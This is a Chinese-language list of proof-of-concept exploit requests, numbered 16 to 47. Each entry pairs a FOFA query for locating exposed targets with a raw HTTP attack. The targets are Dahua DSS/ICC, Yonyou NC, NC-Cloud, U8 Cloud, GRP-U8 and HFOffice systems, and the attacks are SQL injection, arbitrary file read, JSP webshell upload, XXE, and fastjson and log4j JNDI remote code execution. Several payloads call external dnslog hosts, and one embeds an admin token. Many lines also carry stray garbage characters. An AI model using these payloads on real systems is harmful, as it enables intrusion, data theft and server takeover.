9 G- }: R2 D3 [: uAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
8 o; h0 X; {- m. |; b. W$ H7 Y: `Accept-Language: en
/ ]! p6 _+ T# x% Esec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
( r) _/ y) u  {  t) c1 u( ]FOFA：title="HFOffice"
* D; j2 ^! `! Ipoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
, k1 z$ |- B+ H0 A9 ^# k% Q" DHost: x.x.x.x
/ r4 N" a( I; X) [7 G# K+ uUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
! ]& M6 k/ S* R2 RAccept: */*
Accept-Language: en
* p1 x# c( o. B' m" YAccept-Encoding: gzip
1 T, b1 g4 W( @& }

17. 大华 DSS itcBulletin SQL 注入
+ a  I3 z, I1 e$ h2 C7 t& Z) BFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. G4 h9 ?) F, R) v( u4 }$ E; `# R! z# RContent-Length: 345
Accept-Encoding: gzip
+ }6 p# _, W' C, c, T
6 l! ?) B, U2 H+ Z( H2 e' W<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
: r& W5 M/ J; d1 @5 A* G& m      </netMarkings>
    </ns1:deleteBulletin>
8 F8 y4 G% ^$ E; _  </s11:Body>
</s11:Envelope>

) X8 U& a# _7 F; `8 n$ {0 I+ T
9 s* i  z' b. H( r, H0 {18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
& F0 U' F8 Q# t# W8 _: fFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
- h. {" P2 J& eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
5 [1 R) c1 I. A% WConnection: keep-alive



9 u. ^. Q# b3 m! L( M. b. H) {19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
0 U% ]1 A7 p' u  LGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
) R: V# A. B# e, k) J. hHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
; {  F# C! ^% k) m. y* lConnection: keep-alive


2 k! b2 I, G( e3 B* M20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
! k, V/ P* x. }! x, G. a5 \& n7 JGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
; G$ D- V" m& h& z+ @" iHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, V9 R2 f  ^1 z& r! S+ hConnection: close
4 S, g5 C. |8 `$ s: |) wAccept: */*
Accept-Language: en
Accept-Encoding: gzip
3 Y. N  ^: K3 K
) C; M5 s- N6 b  n9 D
5 o% }5 U! i8 t3 j0 D' |. Q# w* ?21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
* R/ V0 |6 w5 A( hPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
- B" |3 N( i* rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' R- S% K2 L) h( S1 @6 [Content-Length: 161
3 z6 C; m/ N7 r. ?( ^Accept-Encoding: gzip
; L' \6 X& D' O5 PConnection: close
7 |' _, P4 X$ j/ \4 p. W% sContent-Type: application/json;charset=utf-8
+ k7 {1 D! j9 f. y! m$ ?
: ?2 g4 s3 d5 ~  I# J: f{
"a":{
- I( s- c4 b& w* I3 [/ d8 H   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
6 \* |: |  \# }- g2 |" N; ~/ Y  }""
" S* O4 m+ b$ c4 d$ P9 [9 B7 U1 |}
1 N) T* k: J$ f1 C

" F$ ]4 t% w! t& o22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
) b( p9 {& s4 C* K  k5 W7 h3 [0 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ D) X; _6 o: v- ?( QContent-Type: application/json;charset=utf-8

' L4 G4 h' X# L( E: p{
"loginName":"${jndi:ldap://dnslog}"
}
' ?/ {$ w3 [7 A% p+ j" L
& r: E: j& X2 W1 r8 o( S

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
: s4 `: a$ }3 CPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
! D7 B6 V0 U5 D3 gHost: your-ip
0 x8 z% {/ E! c+ V; ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 ^, h! Z: ^" _: q3 e/ D& W) OContent-Type: application/json;charset=utf-8
4 \- D: j9 n- Y6 AAccept-Encoding: gzip
Connection: close
* A, @2 }8 b$ U% C" ^" D7 a+ E
{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
2 m1 k5 I1 e& G( z+ J0 Q

3 l1 y4 Q0 U$ v! {2 c24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
9 f/ p. I( C2 o% W" ?5 b4 o. PContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
7 v! i( i  X7 v' N, M
" U+ _+ [7 U; N-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
# C# m5 p2 _. A$ J3 q; H% {
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
  e% j4 R8 i: Z# iContent-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
0 _5 G( i: n* t9 i, D

8 L& _$ J. G; @25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
" c$ L' L* l# u* W, [$ z4 pPOST /portal/registerServlet HTTP/1.1
0 k' G$ G5 _: ^8 vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
9 n2 \" u) D$ i) xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

8 F4 J8 a4 u) I/ |type=1&dsname=ldap://dnslog


( Q7 A8 U4 v" h
2 a+ l; e. w! K1 n) L) z! T. o" j! S26. 用友NC linkVoucher SQL注入
1 e% h- p# \! ?FOFA：app="用友-UFIDA-NC"
- ?4 [3 |7 i. @* r$ S! I" IGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
$ a  w2 d2 E& D+ @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
, s( I0 }; @% R$ AAccept: */*
+ F9 s8 g. m, U$ n( MConnection: keep-alive
0 j& i7 m; \! @
. m1 J+ P, F; I1 P3 R/ c# _
: |7 \$ \+ d, c  N27. 用友 NC showcontent SQL注入
. |( R% J8 E% G5 g0 u8 u# eFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
& F0 [) f0 A: n! A0 j: X1 iHost: your-ip
% v* T% ^$ u; y4 I: i3 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 \4 o% y7 T; w: U3 Z- RAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8

  d0 I$ V$ H5 M# q4 ]$ w7 F6 T( |
28. 用友NC grouptemplet 任意文件上传
0 b9 N# l2 V! T) VFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
- P. w; B! }. M; Q* G3 l5 IHost: x.x.x.x
, U: [) B- X5 `9 M, H. G4 v4 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
+ \% H1 M  I& E7 zConnection: close
Content-Length: 268
6 p+ L- k7 S+ H$ j/ F" i. ^$ M$ nContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

4 l4 Q- s: G" c5 |2 ?------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
; V* p7 r# C  k0 j5 IContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


7 |; e0 M% S) g4 f1 r; e- j/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 \! I8 |8 T* N, xContent-Type: application/x-www-form-urlencoded
* y& [! Y0 E: t2 kAccept-Encoding: gzip, deflate
* T0 r) v* M2 eAccept: */*
& k3 _3 P5 X3 L% q* e  Z% `Connection: keep-alive


9 p9 `: `* c  I* x, h" @30. 用友NC importPml SQL注入
, s+ D; S  G7 f, y8 UFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
: Q9 _( b% d1 ?3 R! y% |+ u' U- AHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
: S% ?* u. u, @4 PConnection: close

. o1 v! {: c4 z3 |# ?------WebKitFormBoundaryH970hbttBhoCyj9V
7 i+ r' q$ d8 ]Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
5 y4 d- H$ ^0 L( tContent-Type: image/jpeg
+ P: C5 \6 t# N& v* ?------WebKitFormBoundaryH970hbttBhoCyj9V--
1 ~& T* P# k! M4 q/ z+ u0 Z) R  t! L
1 M1 S4 G4 I; z8 o0 o
31. 用友NC runStateServlet SQL注入
- g/ P. Q; |* B! L0 s: w/ fversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
' @$ t$ Z% c; BGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

7 o# K8 H+ u% Q, h6 f6 e- n/ H4 o
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
, O" m: \8 }1 ^; A4 xFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
) L; Q. j( j! kHost: your-ip
" T% K* D/ B: |* KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
( d& T" V) v& @Accept: */*
Connection: keep-alive

& g  F# P: e/ B3 Z
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
8 h6 \1 ^: l' ]) ^GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
: X+ }: O, w1 Z- }% k3 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 a* N' H+ I- l3 |$ Y3 E5 s  hContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 ]* s( G7 W8 f. m1 OAccept: */*
" T6 a3 T5 a$ |" u& zConnection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
/ x. h2 v: u" WFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, K3 b3 t0 n" b8 {- Y: Q8 j# _4 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, h( {" \- O9 N6 g- zContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
  A3 q2 G' j) y9 o1 ~7 B; A  FConnection: keep-alive
. F3 @- t9 y% r7 ~

35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
2 o, R# q' s1 o# w# K1 h6 {Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
* Q  x: ^: O6 A' C" `Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
% h4 ?, ?9 W2 \2 G& @! O8 H% b
; J  k: W4 r" y, P% u, G<%out.println(1111*1111);%>
* S2 t( e6 A- B+ c# W" c9 S7 F! @--fd28cb44e829ed1c197ec3bc71748df0--
& p/ s3 o; @8 @+ N9 E$ S
9 u- ~7 }$ J: t9 ^
* [+ k- J$ O5 `5 c36. 用友NC-Cloud soapFormat XXE
4 z! p- ?" s1 z1 O0 }- ^FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
& ]) x. l. j- u$ [POST /uapws/soapFormat.ajax HTTP/1.1
* C4 K6 z# c! e' yHost: 192.168.40.130:8989
! B- n- y( R: Q0 T5 d  FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
- B* q3 W7 M; V( ?1 Q& W: xContent-Length: 263
, O: d$ \2 _) s, u) `- q/ GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Y) F' D) C; p- a3 i, uAccept-Encoding: gzip, deflate
" M' n& v/ q. d, l- P, S& `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 z) m' w& {$ d: M% Y4 K; b. VConnection: close
Content-Type: application/x-www-form-urlencoded
3 }5 ?+ v% O9 r. \( S/ @  xUpgrade-Insecure-Requests: 1
% q1 Z5 G9 H5 m1 p) B5 w, u' L* f! j
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
0 B+ H7 t* A& a. s# EContent-Length: 421
3 M- F6 }6 A3 j& ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
) W7 q4 _$ H- X* U" V: C# WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: `/ r& F$ J3 _- p5 zConnection: close
Content-Type: text/xml;charset=UTF-8
! B% p8 o  p. \7 Q) P/ CSOAPAction: urn:getResult
4 z4 X2 H% L- zUpgrade-Insecure-Requests: 1

! v9 o6 A/ [4 M5 b4 G<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
5 _! l. a" X3 E6 O0 u<soapenv:Header/>
<soapenv:Body>
& @$ a5 t$ B0 o/ u+ s, i<iup:getResult>
+ q# e5 j8 S7 U<!--type: string-->
& n' C' f5 ]1 c" }3 ^) H<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
, a5 C+ ?! A, R. {# E) k</iup:getResult>
( f6 \. k# u' R2 Q/ o5 x: x4 D</soapenv:Body>
</soapenv:Envelope>

7 E. P9 L. W, [3 n3 R7 y
# y% L, q3 L$ G/ n. K3 w
8 U9 z0 \0 K) e; ]# p( w( `* Z38. 用友U8 Cloud smartweb2.RPC.d XXE
& i+ k' r" D* |FOFA：app="用友-U8-Cloud"
( U6 i* X" D8 J' W) @3 j2 ?1 @POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
5 q: L2 I2 ]5 L1 ]6 F' I- r# EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
$ j" C( ~* I$ k7 m% I' v  hContent-Length: 260
$ v$ I2 \% J+ M) W- _" iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
, I$ ~% p& o7 M( M; gAccept-Encoding: gzip, deflate
' w: l8 Z: ^4 BAccept-Language: zh-CN,zh;q=0.9
4 L: B9 y) U2 X' q6 h0 G7 ?Connection: close
- X% m. i( N8 U8 K; _3 @  v  `: kContent-Type: application/x-www-form-urlencoded
( A/ [3 ~: b/ W; r# Q
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
) \" i; d, c! y' p9 E) {- |$ ?1 X3 ~FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
8 ~1 l' j; A8 L1 I: a0 i4 j5 cConnection: close
& Z* c+ z* ~, k' b" ~Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
' X; c) K5 c& v! ~7 }# J8 S. P5 yX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
* c" W! J4 I/ t( x& Q
0 i3 S3 m! K: X4 @0 }2 A* t" M' ]usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
7 p: @( A3 j' W/ e, C

5 w* G1 D  ~3 |+ N2 I  L0 v" q40. 用友U8-Cloud XChangeServlet XXE
# ]: [2 T! ]: O  o9 w. k7 iFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
5 ^% S* i  c2 K$ s8 K  H7 [User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

4 c7 C9 P# ^+ t8 s1 e<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

4 w" m8 j3 c+ w0 C8 D
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
3 M+ Z; a" Q, H0 KGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
- b+ r) [/ z- l; h0 }' |Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
  C/ D2 |* ^2 G2 ^. t; dAccept-Encoding: gzip
Connection: close
: v" E! ]1 U- W6 f( r" y
2 \5 u8 g0 W5 |8 m2 ]8 v( h$ [0 c  @2 P! H
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
: N6 A' o, b, G- k/ F- \% E/ J% BPOST /u8qx/SmartUpload01.jsp HTTP/1.1
; ]  B, b- J+ eHost: x.x.x.x
: y7 k/ B, J6 Q6 `* y3 E. xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
9 X$ `, e! _; P; l7 z3 ]! j, s# F1 ^
4 B. O3 X7 w0 s  J) f& HPAYLOAD
: t% Y! o! I: W% m. T  K2 c' F
4 O. W# s9 G/ ^2 {8 E
, S# w' w8 M2 S0 W; ghttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
' V+ l8 v/ z9 a7 T) m
- q! M7 t$ t0 S# i43. 用友GRP-U8 userInfoWeb SQL注入致RCE
2 D6 N3 I. [9 {% `0 t4 |  yFOFA：app="用友-GRP-U8"
2 U( K2 ~6 Y  s% x7 g' m* LPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
5 D% F2 ~4 w5 I# j8 n- K" fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( M; R& f$ c6 D( S; }& d" `, d2 ~; k" OSOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
5 K9 O2 Y+ o7 l5 y) M3 t0 ~2 u   <soapenv:Header/>
   <soapenv:Body>
9 @1 L* Y2 @* z0 ]. H% J      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
7 _3 f% F) _1 \3 y, w/ w# X         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
" N* ]. `" r" x9 T" P& [   </soapenv:Body>
</soapenv:Envelope>
* @  n( y4 m- c; O; b

+ |+ z7 T% p* {! R2 M( f44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
# u$ d3 S( ?6 {6 h7 xGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
; K8 i# O& l5 }0 c: zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, ~- t; U+ P/ r# JAccept-Encoding: gzip, deflate
3 x6 ~5 m( t! rAccept-Language: zh-CN,zh;q=0.9
Connection: close


45. 用友GRP-U8 ufgovbank XXE
/ N7 m7 F" s6 S9 y" i- O; V# ]FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 K; W: g) Q/ N% YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
7 x) x1 X. {3 F4 N7 [  v* i
5 c6 k1 H1 ^$ g, f' A. F) G! n" J, D( {reqData=<?xml version="1.0"?>
( N5 W8 ]5 H3 q, k<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
* L  G, {4 u* S( k* V* d6 yFOFA：app="用友-GRP-U8"
3 S* y6 K# L! AGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
9 ~. r: w7 b& O1 p& ^Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, Y9 ?$ }# y! K3 dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

9 R5 N" I* c8 R' S$ b
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
1 X  {  x5 ~1 J' z7 \7 u/ rHost: x.x.x.x
Cache-Control: max-age=0
